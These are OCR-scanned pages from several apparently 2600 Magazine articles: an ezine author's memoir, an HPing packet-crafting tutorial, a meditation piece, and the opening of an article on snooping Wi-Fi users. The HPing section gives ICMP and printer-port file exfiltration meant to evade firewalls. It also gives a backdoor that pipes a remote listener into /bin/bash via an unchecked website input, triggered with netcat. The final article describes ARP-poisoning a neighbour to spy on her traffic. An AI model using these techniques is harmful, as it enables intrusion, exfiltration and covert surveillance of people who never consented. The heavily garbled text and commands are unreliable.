guys here to B raz i l  for a conference anymore. warned about my focus on hacker eth ics and 

My task was comp leted . The "hacker scene" the pursu i t  of knowledge. I changed my writ i ng 
had happened. I t  was no dream anymore. in order to avoid copycats . The ez ine  i s  sti l l  
There were some very strong meeti ngs, 2 600 about hacki ng, but i t  now takes a much broader 
meeti ngs, and people  were ta l k i ng  about i t  v iew. How wou l d  you teach hack ing without 
everywhere. And peopl e  knew the d i fference us ing  computers? Hack ing  computers i s  not the 
between good hackers and l amers. But  then only way to l earn about hack ing .  Some peop le  
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prom ised me that they wou l d  keep on read ing .  
And I kept writ i ng the ez i ne and a b log beca use 
it 's such a waste to stop . .  

I t  someti mes pays off to d o  a b log. Once I 
posted that I needed a few memory c h i ps for 
my o i d-fash ioned computer. I l ive i n  Sao Pa u l o .  
O n e  g u y  from R io de jane i ro read it, asked for 
my posta l address and sent the c h i ps, a long 
with other th i ngs: about 1 6  kg of ha rdware, a 
complete CPU he 'd  made up of o ld  p ieces he 
gathered from friends.  He th rew a party, people 
brought th i ngs, they set  u p  a Penti u m  233 with 
a 3 0  g ig H D, and they sent i t  and some other 
th i ngs to me, by Fed Ex.  I cou l d n ' t  bel ieve it and 
sent  h im some t-s h i rts by way of  thanks .  I sti l l  
u sed that computer u nti l l ast Chr i stmas, when 
a b ig  fan and friend of m i ne sent me a Pent i u m  
4 with a 1 50 g ig  H D  and a few science fiction 
magaz i nes. Maybe that guy i s  one of the th i rty­
five that prevent God from destroy ing  the Earth . 
I don ' t  know. 

The prob l em today with writ i ng a hacker 
ez i ne and b log i s  that today, everybody ' s  got 
much more access than at the t ime I started . 
And there are many people c l a i m i ng h acker 
knowledge . Even YouTu be has a v ideo or two 
about computer i nsecu rit ies.  One does n ' t  
have t o  g o  u nderground t o  l earn about "dark 
subjects." One has to have the consc ience, 
which is the ma in  subject about which I used 
to write, r ight from the begi n n i ng .  If  you write 
about how to do it, that wi l l  get o ld  soon.  When 
you write about how to th i n k  about i t, i t  wi l l  
st ick. People sti l l  can get o ld  i ssues of m y  ez ine  
and f i nd  good th i n k ing  mater ia l .  That might 
save thei r butts one day. 

U nfortunate ly, I cou l d  not write a thes i s  
about what I d id .  The Portuguese language i s  
tough to read . My not  wr i t ing  a book i s  a l so 
someth i ng to b lame myse lf  for. How cou l d  I 
write a book about "start i ng a hacker scene" 
and then get a "norma l"  job a nywhere but 
in computer secur i ty? There was a "hacker" 
conference in Sao Pa u l o, where I l ive. I cou l d  
n o t  go. I n  t h e  U SA or Eu rope, i t  wou ld  b e  n o  
problem.  But  not here. There were lots o f  TV 
cameras everywhere. No way. At that t i me, I was 
work ing  r ight next to an office where peop l e  
were try i ng t o  sue YouTube. I even knew which 
books of  l eg i s l at ion were bei ng consu l ted. 
These peop le  next door did not know about my 
past, and why shou l d  they? Yet, a few weeks 
ago, I attended a nother secur i ty conference, 
YSTS. B ut there were fewer cameras and none 
from TV. 

A l so, people a lways charge you more if they 
know you ' re famous.  For a t i me, I wou l d  even 
check famous people for stor ies about how to 
deal with fame. It 's no easy task, but I bel ieve 
that somet ime i n  the futu re, everybody wi l l  
h ave to learn about i t, how to relate to the press 

and how to use fame for a pu rpose. Peop l e  on 
the i nternet don 't  know th i s, and they l ose great 
opportu n i t ies.  

I t 's l i ke that: for one th i ng or another, you get 
famous.  Before you know it, i t ' s  gone. People 
have to consi der that  gett ing fa mous i s  no fa i ry 
ta le .  I n  order to make some good use of it, one 
has to know about it . I f  you pub l i sh  someth ing  
today i n  YouTu be or i n  a b log, i t  wi l l  be remem­
bered somewhere, somet ime.  You ' ve changed, 
grown o lder, but you r  past is sti l l  there. j u st 
l i ke it was.  I was very fortu nate the way I wrote 
th i ngs. I never u sed an a l i as to write, and I have 
no regrets about it .  

When you get famous, some peop le get 
to know you because they are gett i ng  famous 
at the same t i me, but in d i fferent p laces, with 
other occu pations.  Mauro Marce lo, who got 
appoi nted the ch ief of the B raz i l i an  In te l i gence 
Agency (AB I N ) ,  did know me. I cou l d  have 
i n terviewed h i m  there and then, but that ' s  
another story, and a sort of  fu n ny one .  Eventu­
a l l y, he was k icked off the job because of the 
i ntr igue there, wh ich makes me th i n k  he ' s  not 
such a bad guy; those guys from A B I N  aren ' t  
popu la r. When he was there, he bothered to 
answer an ema i l  of m i ne. Who knows? Maybe 
someday I ' l l  contact h i m  aga i n .  He m ight have 
some good stor ies to ta l k  about. He was, after 
a l l ,  the fi rst B raz i l i an  "Cyber" cop.  

He wou l d n ' t  catch me,  for sure. I stopped 
a l l  "hack i ng" when I began wr i t ing the ez i ne. 
Maybe not a l l  of i t, but why bother? That magic 
word "p lease" works wonders . You j u st have to 
know who to ask.  If the guy does n ' t  know you,  
j ust p l ay that  song, " Let me p lease to i ntrod uce 
myse l f, I ' m  a man."  You can ' t  a lways get what 
you want, but someti mes you do. I wou l d  never 
know how to stash th i ngs i ns ide U n ivers ity of 
Sao Pa u l o  computers without a l i tt l e  he lp  from 
my fr iends. I wou ld  a lways s i ng  "Don ' t  you 
forget about me" for myse l f, l ater. You can get 
h igh doi ng th i ngs l i ke these. Be l i eve me. 

After th i rteen years of Bara ta Eletrica, i s  
anybody snor ing o u t  there? I t ' s  been a great 
exper ience, be ing famous for writ ing  an ez ine.  
I d id  i t  most ly  because of the readers. What a 
fee l i n g  when you meet someone who got h i s  
l i fe changed because o f  an a rt i c le  o f  yours !  I 
never got l a id  because of i t, but I d i d  learn a 
lot about a lot of top ics, from p u b l i c  re l at ions 
to l aw and journa l i sm.  Maybe someday, I ' l l  get 
a job out of i t .  

I th i n k  everybody shou l d  try i t .  Someone 
said that i f  you don ' t  l i ke the news, you shou l d  
g o  o u t  and make some o f  you r  own .  Every­
body can he lp  change the wor ld  with s imp le  
gestures. j u st i n teract w i th  you r commun i ty. My 
ez ine  started l i ke that: a pub l i cation for a few 
peopl e  us ing  an i nternet-connected computer 
lab nearby. Th i n k  about it. 
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8 8 8  
(The Part I Forgot) Y 8 b  d 8 8 P  

I n  m y  last art ic le  ("Essent ia l  Secur i ty Tools," 
2600 Wi nter 2 007-2008), I wrote about some 
secur ity too ls, to ld readers where to get them, and 
gave a bas ic  i ntroduction of what they do. Most 
astute readers may have noticed that the section 
on HP ing was very brief. When I was draft ing the 
art ic le, I was moving subjects around, and so I 
misp laced the ma i n  body of my H Ping sect ion. 
When I rece ived my copy of 2600 and noticed 
th is, I f irmly  p lanted my face in the pa lm of my 
hand and let out a loud "D'oh ! "  To make up for 
it and to absolve myse lf  of th i s  error, I am ded i ­
cati ng th is  art ic le  enti rely to the H Pi ng uti l i ty. 

H P ing (ht tp://www . hping . org) is a great 
tool to have. You can use it for very s imple tests or 
you can set it up to do someth i ng more advanced, 
such as transfer fi les . Let ' s  start off with the bas ic  
stuff. 

" Y 8 8 P "  

H P I NG l o c a l ho s t  ( 1 0 1 2 7 . 0 . 0 . 1 ) , F P U  
- s e t , 4 0  h e a de r s  + 0 d a t a  by t e s  
- l e n = 4 0  i p = 1 2 7 . 0 . 0 . 1  t t 1 = 6 4  DF i d = O  
- sp o r t = 9 9 9  flag s = RA s eq = O  w i n = O  r t t = O . l  ID S  

I n  addit ion to T C P  packets, H Ping can send 
UDP. The next example shows UDP packets sent 
to port 0, wh ich i s  not l i sten i ng, on a Check Po i nt 
Sofa Ware box: 
[ r o o t @ do o rmou s e  - ] # h p i n g 2  2 1 0 . 2 1 0 . 2 1 0 . 1  - 2  

H P ING 2 1 0 . 2 1 0 . 2 1 0 . 1  ( e t h O  2 1 0 . 2 1 0 . 2 1 0 . 1 ) , 
. udp mode s e t , 2 8  h e a de r s  + 0 d a t a  by t e s  
I e M P  P o r t U n r e a c h ab l e  f r om 
_ i p = 2 1 0 . 2 1 0 . 2 1 0 . 1  name =my . firewa 1 1  

Even though noth i ng i s  l i sten i ng o n  that port 
on that host, we sti l l  know that the I P  address i s  
a l ive. I t  shou ld be noted that  some fi rewa l l  soft­
ware and operati ng systems wi l l  j ust drop these 
packets without send i ng anyth i ng back. 

You can even craft packets at the IP layer, 
though th i s  can be a b i t  tr icky, depend i ng on 
the protocol you that are attempting to use. 
In the tcpdump output shown below, I used 
"hp i ng 2  1 0 c a 1 ho s t  - 0  -v - H  4 1 " to send I P  
packets to I P  protocol 4 1 , wh ich i s  I Pv6- in - I Pv4, 

H Pin� Basics without any pay load: 
[ ro o t @doormou s e  �, ] # t cpdump - n  - v v  

HP i ng, at its most asic, i s  a packet crafter. _ - e  -8 1 5 14 -x - i  1 0  p r o t o  4 1  

You can get a lot of use out of j ust th i s  bas i c  fu nc- L cpdump , l i s t e n i ng on 1 0 ,  l i n k - type EN 1 0 MB 

tion. Let 's  exam i ne us ing H Ping to "pi ng" a TCP ;--3 ; ������m 5 5 �a����� , � � � � 0 � 6 6 ; 0�y;e s  

port : _ 0 0 , 0 0 , 0 0 , 0 0 , 0 0 , 0 0 ,  e th e r  type I Pv 4  
[ ro o t @doo rmou s e  - ] # hp i n g 2  ( O x 0 8 D D ) ,  l en g t h ] 4 , ( t o s  O x O , t t l  6 4 , 

- 1 0c a 1 ho s t  - S  -p 2 2  - i d 8 2 5 1 , o f f s e t  0 ,  flags [ no ne ] , 
H P INC l o c a l ho s t  ( 1 0 1 2 7 . 0 . 0 . 1 ) , S s e t , p r o t o I Pv 6  ( 1 1 ) , l eng t h  2 0 )  1 2 7 . 0 . 0 . 1  
- 4 0  h e a d e r s  + 0 d a t a  by t e s  1 en = 4 4  - > 1 2 7 . 0 . 0 . 1 ,  [ I  i p 6 ] 
_ i p = 1 2 7 . 0 . 0 . 1  t t 1 = 6 4  DF i d = O  s p o r t = 2 2  O x O O O O , 4 5 0 0  0 0 1 4  2 0 3 b  0 0 0 0  4 0 2 9  5 c 8 4  
- fla g s = SA s e q = O w i n = 3 2 7 9 2  r t t = 0 . 2  m s  - 7 f O O  0 0 0 1  E . . . .  ; . .  @ ) \ . . . . .  

I n  th i s  example, we 've asked HP ing to send O x 0 0 1 0 ,  noD  0 0 0 1  

h I I h TCP/SYN k ( . h h 1 3 , 3 3 , 0 9 . 0 2 5 6 3 1  0 0 , 0 0 , 0 0 : 0 0 , 0 0 , 0 0 > 
t e oca ost pac ets - s ) ,  Wit t e _ 0 0 , 0 0 , 0 0 , 0 0 , 0 0 , 0 0 ,  e t h e r  type I Pv 4  

dest i nation TCP port set to 22,  which i s  for ssh .  ( O x 0 8 0 0 ) ,  l en g t h  3 4 , ( t o s  O x O , t t l  6 4 ,  

Th I k t t t h  rt f - i d  4 1 9 4 4 , o f f s e t  0 ,  fla g s  [ non e ] , e rep y pac e s  we ge are e next pa 0 
p r o t o  I Pv 6  ( 4 1) , l e n g t h  2 0 )  1 2 7 . 0 . 0 . 1  

the TCP th ree-way handshake, with the SYNI _ > 1 2 7 . 0 . 0 . 1 ,  [ I  i p 6 ] 

ACK flags set. Th is  is ind icated i n  HP ing by the Oxo o o o , 4 5 0 0  0 0 1 4  a 3 d 8  0 0 0 0  4 0 2 9  d 8 e 6  

fla g s = SA f ie ld .  Th is  tel l s  us that the  TCP port i s  ;;-x� � � g , 
o o � � o o  E o o o i  . . .  @ )  . . . . .  . 

open and that we are a l lowed to access that 1 3 , 3 3 , 1 0 . 0 2 6 0 8 9  0 0 , 0 0 , 0 0 : 0 0 , 0 0 : 0 0 > 

TCP port. Th is  is usefu l in test ing whether or not - 0 0 , 0 0 , 0 0 , 0 0 , 0 0 , 0 0 ,  e th e r type I Pv 4  
( O x 0 8 0 0 ) ,  l en g t h  3 4 ,  ( t o s  O x O , t t l  6 4 , 

your  fi rewa l l  ru les are set up proper ly. Let ' s  say _ i d  1 8 7 9 1 ,  o f f s e t  0 ,  flag s  [ no ne ] , 

that you have a web server and that you want p r o t o  I Pv 6  ( 4 1 ) , l en g t h  2 0 )  1 2 7 . 0 . 0 . 1  

to ensure that people from the 10 . 2 0 . 3 0 .  0124 ;;-x� 0 6 � ; ' ° .j � o 6 ' 0 6 i �P� � 6 7  0 0 0 0  4 0 2 9  3 3 5 8  
network are a l l owed to access i t .  You can j ust - no D  0 0 0 1  E . . . lg . .  @ ) 3 X  . . . .  

H Ping the server with the SYN flag set and see if O x 0 0 1 0 , 7 f 0 0  0 0 0 1  

you get a rep ly. The last of the bas ics I ' m  goi ng to ta l k  about i s  
You can  set a l l ,  some, or  none of the  TCP flags the ab i l i ty to spec ify your  source address. Th is  is 

if  you wish to check TCP stacks or your I ntrusion exce l lent for test ing anti -spoofi ng featu res of your  
Protection System ( I PS) .  For example, if  you have fi rewa l l  or to perform " id le" scans. I leave that as 
an I PS set up and you want to test your fi l ters a project for you to figure out on your  own . 

aga i nst odd TCP flag sett i ngs, you can use H Pi ng Now that you know how to craft bas ic  packets 
to do that: with HP i ng, you may start to wonder why you 
[ ro o t @ d o ormou s e  _ ]  # hping2 wou ld  use th i s  for anyth i ng except port scans or 

- l o c a l ho s t  - F PU -p 9 9 9  secur i ty-related measures. Imagine that you work 
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for a managed service prov ider and that you 
need to mon itor both system hea lth and serv ice 
hea lth . You can i ncorporate H Ping i nto your  
serv ice health mon itor ing by sett ing up a bas ic  
scr ipt wh ich wi l l  craft packets, send them to the 
service in question, del iver a pay load i f  needed, 
and then report back to your  management station 
whether or not the serv ice i s  up, depend ing  on 
the response received by HP ing. 

Advanced Features 
One of H Ping ' s  n i ce features is the ab i l ity 

to transfer fi les across a "p ing" sess ion .  I ' ve 
on ly  done th i s  with text fi les, but I ' m  sure that 
someone out there knows how to successfu l ly 
transfer a b inary fi l e  l i ke an i mage. Suppose you 
have a text fi le that you need to transfer, but a l l  
the normal fi le transfer options l i ke FTP(S), SFTP/ 
SCP, and HTTP(S) are b locked by a fi rewa l l ;  
however, I C M P  is  a l lowed out. You c a n  use H Pi ng 
to transfer the fi le across ICMP. F i rst you wi l l  have 
to set your  target server to be in a l i sten state: 
[ ro o t @ doo rmou s e  - 1 # hp i ng 2  J o c a l h o s t  

.. - - l i s t e n  s i gn a t u r e  - - s a f e  - - i cmp 
Wa r n i n g : Una b l e  to g u e s s  
- t he ou tpu t i n t e r f a c e  
hp i n g 2  l i s t en mode 
[ ma i n ]  mem l oc k a l l ( ) :  S u c c e s s  

W a r n i n g : c an ' t  d i s a b l e  memory p a g i ng ! 

Now that we have someone l i sten i ng, let ' s  
tra nsfer the fi le from our source mach i ne: 
[ ro o t @ d o o rrnO ll s e  t e mp l # hp i n g 2  l o c a l ho s t  
- - i cmp 
.. - d  1 0 0  - - s i g n  s i g n a t u r e 
- - fi l e  . / randoffi . s t u f f  
H P I NG l o c a l ho s t ( 1 0 1 2 7 . 0 . 0 . 1 ) : i cmp 
- mode s e t , 2 8  h e a d e r s  + 1 0 0  d a t a  b y t e s  
[ ma i n l  mem ] o c k a l l { ) : S u c c e s s  

Warn i n g : c an ' t  d i s ab l e  memory p a g i n g ! 
l en o 1 2 8  i p " 1 2 7 . 0 . 0 . 1  t t l = 6 4  i d = 1 2 7 7 0  i cmp_ 
s eq " O  
.. r t t = O . 3  rus 
l e n " 1 2 8  i p " 1 2 7 . 0 . 0 . 1  t t l " 6 4  i d " 1 2 7 7 3  i cmp_ 
s e q = l 
.. r t t = O . l  IDS 
l en " 1 2 8  i p " 1 2 7 . 0 . 0 . 1  t t l " 6 4  i d " 1 2 7 7 5  i cmp_ 
s e q = 2  
- r t t = O . 2  fi S  
l en " 1 2 8  i p " 1 2 7 . 0 . 0 . 1  t t l " 6 4  i d " 1 2 7 7 7  i cmp_ 
s e q d  
.. r t t " 0 . 2  m s  
- - - l o c a l ho s t  hp i n g  s t a t i s t i c  - - -
4 p a c k e t s  t r a m i t t e d ,  4 p a c k e t s  
r e c e i ved , 0 %  p a c k e t  l o s s  
r o u nd - t r i p  m i n / av g /rnax � 0 . 1 / 0 . 2 / 0 . 3  m s  

The l i sten ing s ide wi l l  then show: 
hp i n g 2  l i s t e n  mode 
[ ma i n ]  mem l o c k a l l ( ) : S u c c e s s  

W a rn i ng : c an ' t  d i s a b l e  memory p a g i n g ! 
L i n e  1 
L i n e  2 
L i n e  3 
L i n e  4 
End o f  Impo r t a n t  F i l e  

Looks l i ke we managed to transfer our impor­
tant fi le successfu l ly !  Most people won ' t  s i t  and 
examine ICMP logs, so you may be able to evade 
any fi rewa l l  or I PS in the way. 

Let 's  examine the same scenario, except the 
location you are at on ly a l l ows C U PS outbound 
and does deep packet i nspection, so you can ' t  
re-b ind you r  FTP or SFTP server to that port. I 
know th is  is far-fetched, but work with me on th is  

server on the remote end:  
[ ro o t @ do o rmou s e  � ] # n e t s t a t  - n a  
I g r e p  L I S T  I g r e p  6 3 1  

t c p  0 0 1 2 7 . 0 . 0 . 1 : 6 3 1  
0 . 0 . 0 . 0 : *  L I STEN 
[ ro o t @doo rmou s e  - ] # hp i n g 2  l o c a l ho s t  

- - - l i s t e n  s i gn a t u r e  - - s a f e  - p  6 3 1  
Wa r n i ng : Unab l e  t o  g u e s s  
the o u tpu t i n t e r f a c e  

h p i n g 2  l i s t e n  mode 
[ ma i n ]  mem l o c k a l l ( ) : S u c c e s s  

Warn i n g : c an ' t  d i s a b l e  memo r y  p a g i n g ! 
L i ne 1 
L i n e  2 
L i n e  3 
L i n e  4 
End o f  I mpo r t a n t  F i l e  

The command to send the fi le  over TCP with 
no flags looks l i ke th is :  
[ ro o t @doo rmou s e  t emp ] # hp i n g 2  l o c a l h o s t  - p  
6 3 1  
- - d  1 0 0 - - s i g n  s i gn a t u r e  
- -- fi l e  . / random . s t u f f  
H P ING l o c a l ho s t ( 1 0  1 2 7 . 0 . 0 . 1 ) : NO P LAGS 
a r e  s e t , 
- 4 0 h e a d e r s  + 1 0 0  d a t a  b y t e s  
[ ma i n ]  meml o c k a l l  ( ) : S u c c e s s  

Warn i n g : c an ' t  d i s a b l e  memo r y  p a g i n g ! 
l en " 4 0  i p " 1 2 7 . 0 . 0 . 1  t t l " 6 4  DF i d o O  
spo r t = 6 3 1  " fla g s = RA s e q = O w i n = O  r t t = O . O  ro s  

Keep in m i nd that f i les transferred th is  way are 
not encrypted . Although most people  won 't  be 
i nspect ing packets that much, anyone snoop i ng 
on the wire can grab your  i nformation . 

You can a l so use HP ing as a back door. Get 
the fo l lowi ng command ru n n i ng on a remote 
host, poss ib ly  through an insecu re website 
with an u nchecked i nput var iable:  hp i n g 2  
- I  e t h O  - - l i s t en s i gna t u r e  - p  8 0  I 
/ b i n / b a s h .  Then, use netcat to do some­
th i ng l i ke th is :  e c h o  ., s i gn a t u r e r eboo t ;  , . 
I nc 3 3 3 . 4 4 4 . 5 5 5 . 6 6 6  8 0 .  Anyth i n g  after 

the word "s ignatu re" in the echo command 
wi l l  be processed by the / b i n / b a s h  to wh ich 
H Pi ng ' s  output is  be i ng p iped, and so the server 
reboots. Try th is  with your  own mach i nes: 
use s i gn a t u r e  touch remo t e . t o u c h e d . fi l e; 
to see that the l i stener wi l l  process what is  
be ing  asked of it .  You won 't  see anyth ing  on 
the console, but when you stop HP ing and do a 
qu ick I s ,  you shou l d  now see a new fi le  ca l led 
remo t e . t o u c h e d . file i n  the cu rrent d i rectory. 

Another use for th is  techn ique is as a "port 
knocker." If you don 't  want to leave your SSH 
daemon up and ru n n i ng a l l  the ti me, set up 
HP ing on your SSH server. Whenever you want 
to start your  SSH daemon, use the command 
s i gn a t u r e s e r v i c e  s s hd s t a r t ; .  

Conclusion 
As you can see, H Ping is a great tool for both 

bas ic  and more advanced app l ications, and it 
can be used i n  a var iety of d i fferent ways. I t ' s  
excel lent for help ing  people to learn how the 
IP stack works, espec i a l l y  the TCP flag setti ngs, 
and it's great to use in or a long with custom 
app l i cations. The topics I ' ve covered here i n  th is  
artic le  are j ust the beg inn ing, and I strongly u rge 
you to become fam i l iar with th is  powerfu l too l .  

one. You c a n  transfer the fi le  to your  server over Shouts:  magikhOe, Ihab, Exial, /ohnPNP and, 
C U PS without i nterfering with the run n i ng C U PS of course, eXoDuS. (YNBABWARLf) 
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by Sai Emrys 
2600@saizai .com 

AIM, #ca2600: saizai 
GPG: OxAFF1 F292 

My experience has been that medi ta­
tion is a subject that frequent ly polar izes 
peop le :  some bel ieve cred u l ous ly  in a l l  
k i nds of unsupported nonsense, wh i le some 
reject everyth i ng wholesa l e  in the name of 
skept ic i sm.  

However, med itation i s  a usefu l  way 
to hack you r  m i nd state. Rather than j ust 
tak ing  some guru ' s  preferred vers ion of one 
tech n ique as the One True Way, you j ust 
have to get to know a va r iety of the tech­
n i q ues ava i lab le, tweak them to work for 
you r  own world-view and symbol  set, and 
u nderstand what about them makes them 
actua l ly work.  

I ' ve ta l ked with a fa i r  n umber of people 
about th i s, and one m isconcept ion that 
comes u p  often i s  that "meditat ion" exc l u ­
s ively means "s i tt i ng  i n  a dark, q u i et room 
in lotus pos it ion smel l i ng i n cense and 
th i n k i ng about noth i ng." Th is  i s  i ndeed one 
method of med itation,  known as mushin or 
"empty m i nd ." I t  i s  far  from the on ly  one, 
though, and i t ' s not necessar i l y  the best 
fi rst approach for  everyone, espec i a l l y  not 
for people used to m u l titaski ng, l i ke most 
hackers. 

Another m i sconcept ion i s  that med ita­
t ion is to be treated as someth i n g  that you 
do on ly  i n  spec ia l  short periods of t i me. Th is  
i m p l ies that most of the t ime you are not  in  
a med itative m i nd state, but  the whole  poi nt 
of med i tation is to change you r  everyday 
l i fe.  

There certa i n ly i s  a p l ace for separate, 
focused med itation, but  here is one c l ass 
of methods I ca l l  "a l l -poi nt" tech n i q ues. 
What makes th i s  c l ass of methods work is 
the com b i n at ion of a very rich env i ronment 
and the strategy of not concentrat ing  over ly 
on any part icu l a r  p iece of i t .  These methods 
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are parti cu lar ly  we l l -su i ted to begi n n i ng 
one 's  med itation exper ience and to easy, 
everyday practice. 

1 .  "Soft eyes" 
Th i s  is a re l ative ly  common techn ique i n  

mart ia l  arts. 
I nstead of focus ing on the eyes or hands 

of the person you a re ta l k i ng with (or try i ng 
to d i sarm), a i m  you r  eyes towards the neck 
a rea and keep a soft focus, both menta l ly 
and l i tera l l y. 

A good way to check th i s  tech n ique  is to 
ask yourself a series of questions :  

• Where i s  the i r  r ight hand and what 
are they hold i ng? 

• What i s  in thei r pockets? (Pants, chest, 
u nder-arm hol ster, buttocks . . .  ) 

• How tense are the musc les around 
and above thei r eyes? Shou lders? 
Neck? 

• H ow fast are they breath i ng? 
• How are they about to move? 
• Who and what is nearby? Where i s  

t h e  nearest exit? 
The way to tel l  whether you ' re doi ng th i s  

r ight  i s  to  see if you can answer a l l  of these 
questions with on ly  m i n ima l ,  i f any, move­
ment of you r  eyes and attent ion; you shou l d  
be ab le  t o  see a l l  of i t  s i m u l taneous ly. 

Th i s  is not an exc l u s ive ly  mart ia l  tech­
n i que, though i t ' s  certa i n l y  usefu l  for that; 
try j ust doi ng it with everyone you see. 

The point  is to be ab le  to notice as much 
as poss i b l e, without telegraph i n g  what you 
a re looking  at and without hav i ng you r  
attent ion exc l us ive l y  focused on o n e  th i ng. 
Magic ians  and fighters both l i ke i t  when 
they can use m i sd i rection to make you not 
notice th i ngs which are wi th i n  you r  s ight. 

2. Really enjoying nature 
Go somewhere you ' l l  fi n d  beautifu l .  I ' l l  

use h i l l s a s  a n  example  s i nce that ' s  what I 
most enjoy, but anyth i n g  v ib rant w i l l  work. 

Norma l l y, when most people go to 
2600 Magazine 



"enjoy natu re," they either bare ly  notice i t  
at a l l  because they ' re d i stracted by eq u i p­
ment, thei r l atest a rgument, p l a n n i ng the 
next day ' s  work,  etc . ;  they notice one spot­
l ighted bit at a t i me; or  they not ice o n l y  a 
very vague a m b i a nce.  

I n stead, t ry to i nd iv idua l l y see every­
t h i n g  in deta i l .  

A n  easy way to d o  th is  i s  to sta rt by 
l i m it i n g  you r attent ion to two t h i ngs; for  
examp le, fee l i ng w i n d  on you r  sk i n and  
see ing the  c l ouds move. See as much deta i l  
a s  you can i n  those two th i ngs. Then add 
a th i rd, such as the feel  of s u n l ight or the 
movement of a patch of grass nearby. 

The key l ies i n  add ing  more th i ngs to 
you r  attent ion s i m u l taneous ly without 
l os i ng deta i l  in the previous ly perceived 
ones. Th i s  can very qu ick ly  become over­
whe l m i ng; the amount of i nformation i n  
any natu ra l  scene i s  extremely dense. Even 
a sma l l  patch of grass wi l l  have enough 
movement and deta i l  in i t  to swamp you r  
m u lt ith read i ng.  

Fortu nate ly, th i s  i s  a l earnable sk i l l .  
With p ractice, you ' l l  fi nd that you r  effective 
threadcount and buffer s ize go u p .  

A s  a n i ce bon us, t h e  more you c a n  rea l l y  
notice, t h e  more enjoyable  i t  i s .  

3.  Individuals in crowds 
What d i d  you notice the last t ime you 

wal ked down the street? 
I t ' s  i nterest ing  that the amount you 

relate to people as i n d iv idua ls  tends to be 
i nversely  rel ated to the n u mber of peop l e  
present. Crowds ga i n  a separate character 
of the i r  own :  i t ' s  eas ier to s imp ly  i nterpret 
them as a mass. Th i s  is a l so true in reverse; 
being a member of a crowd makes one l ess 
apt to empath i ze with others as i nd iv idua ls .  
Look up the case of  K i tty Genovese for one 
sad example .  

Next t i me you a re out, try to notice 
faces, body postu re, and the d i stances 
people stand from each other, rather than 
glazing over. Don ' t  attach too much to each 
personal  drama; j ust notice, recog n i ze, and 
keep mov i ng. 

The goa l for this i s  to increase the scope 
of t h i ngs which you can take in consc ious ly, 
making a "mere" wa l k  down the street a 
somewhat more a l ive experience. For more 
on recogn iz ing  fac i a l  emotions, I h igh ly  
recommend the work of  Pa u l  Ekman,  and 
for more on the s ign i ficance of  prox i m ity 
i n  h u man i nteraction,  I recommend The 

Hidden Dimension and The Silent Language, 
both by Edward T. H a l l .  

Conclusion 
There a re many other s i tuat ions in wh ich  

you can pract ice th i s  " a l l -poi nt" tech n i q ue: 
wh i l e  p l ay i ng RTSs and other games with 
l ots of t h i ngs happen i n g  at once; wh i l e  
l i sten i ng t o  comp l ex m u l t i -part m u s i c  
s u c h  as Rach m a n i noff, B a c h ,  or  Godspeed 
You !  B l ack E m peror; wh i le notic i ng a l l  
the background sounds wherever you a re, 
i nc l ud i n g  computer fans, hard drive c l i cks, 
traffic, you r  own breath i ng, rad ios, neigh­
bors, and so on; or  wh i l e  exper ienc i n g  any 
envi ronment. 

The pu rpose of this c lass of techn iques 
is to learn to be able to dea l with h igh ly 
m u lt i threaded, content-r ich, rea l-t ime s i tu­
ations i n  a serene manner, so you can not 
on ly  experience as much of these s ituations 
as poss ib le  but  a l so do so without being  
overwhe l med. Th is  i s  a lot l i ke the  eventua l  
pu rpose o f  trad it ional  empty-m i nd med ita­
tion; i t ' s  j u st a d i fferent approach .  I ' ve given 
j ust a few of doi ng this.  It 's up  to you to 
figure out one that ' l l  be effective for you i n  
you r  da i ly l ife .  The more that you can i nte­
grate th i s  way of i nteracti ng with the wor ld 
as a da i ly habit, the more effective i t ' l l  be at  
sh ift ing you r  base l i ne m i nd state. 

I f  you have any feedback on th i s  or are 
i nterested i n  see ing  more, p l ease contact 
me. I ' m  worki ng on a book tentative ly  ent i­
t led A Hacker 's Guide to Meditation: Prac­
tical Recipes Without the Dogma, which 
a i ms to be a complete gu ide to a l l  known 
c l asses of effective med iation techn iq ues­
of which th i s  art ic le  d i scusses j u st one­
from a pragmat ic, open-sou rce perspec­
tive. Th is  i nc l udes tech n iques trad it iona l ly 
taught as med itat ion,  psychotherapy, and 
more. I f  you f ind th i s  usefu l ,  or i f  you have a 
tech n i que or var iant I m ight not have heard 
of, I ' d l i ke to know. 

H appy m i nd-hack ing !  

Sai Emrys i s  a recent graduate of 
UC Berkeley in cognitive science, looking 
to do doctoral work in the neuroscience 
of empathy. Other interests include 
running the Language Creation Conference 
(conlangs . berke l ey . edu), interpreting 
music in American Sign Language (YouTube 
saizai), coding in Ruby on Rails, and 
consulting on international business. 
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by Uriah C. 

I en joy leav i n g  my w ire less  access po i nt 
ava i l ab l e  for others to con n ect to a n d  use  the 
I nternet.  There i s  o n e  catch,  h owever: I get  to 
p l ay and m o n i tor the  traff ic whenever I want  
to .  In  th i s  arti c l e, I w i l l  describe a past i m e  
t h a t  i s  fu n a n d  revea l i ng of y o u r  n e ighbors. 

I recent ly  fou n d  a new host on m y  n etwork 
to p l ay w i t h .  New fr i e n d s  are fu n !  I frequent ly  
use  EtherApe to q u i c k l y  m o n i tor my n etwork 
traff ic ,  a n d  I fou n d  a new computer n a m e  
o n  my n etwork .  Know i ng t h a t  th i s  person 
was o n  my n etwork, I f ired up n ma p  to do 
a q u i c k  p i n g  sweep to confirm m y  new 
fr iend .  M y  new fr iend ' s  computer name was 
her rea l n a me, and I cou l d  see that  she  had 
the IP address of 192 .168 .1.104 . The fam i l y  
computer was o n  192.168.1.103, my l a ptop 
was on 192 .168.1 .101, a n d  the access po i nt 
was o n  192 .168.1.1. 

S i nce  I had a new fr i e n d  to p l ay w i th,  I 
dec ided to v i ew the  traff ic  that  was go i n g  
thro u g h .  O f  course I cou l d  do that  w i th  
EtherApe, but  I wanted m ore then  j u st I P  
addresses a n d  U R Ls .  Bes i des,  I was i tch i ng 
to use  the  program webspy for a l i tt l e  b i t .  

B efore I go i nto the  fu n too m uch ,  l et 
m e  exp l a i n  what  webspy i s .  Webspy i s  a 
progra m that  i s  part of Doug Song ' s  d s n i ff 
s u ite.  These too l s  are des igned to penetra­
t ion  test your n etwork,  a n d ,  i n  my case,  h ave 
fu n with those o n  m y  n etwork .  I m u st stress 
that th i s  s h o u l d  o n l y  be done  o n  your own 
n etwork or on one that  you h ave been g iven 
per m i s s i o n  to preform s u c h  tests . N ow that  
the  l ega l stuff i s  out  of the way, l et's get  on 
w i th  the  fu n .  

The fi rst th i ng I have to do i s  to A R P  poison 
the host and the gateway. Th is  way, the traff ic  
w i l l  be route d  to my computer. Th i s  i s  done 
by open ing two term ina l  wi ndows. 

In the fi rst term i na l ,  type:  
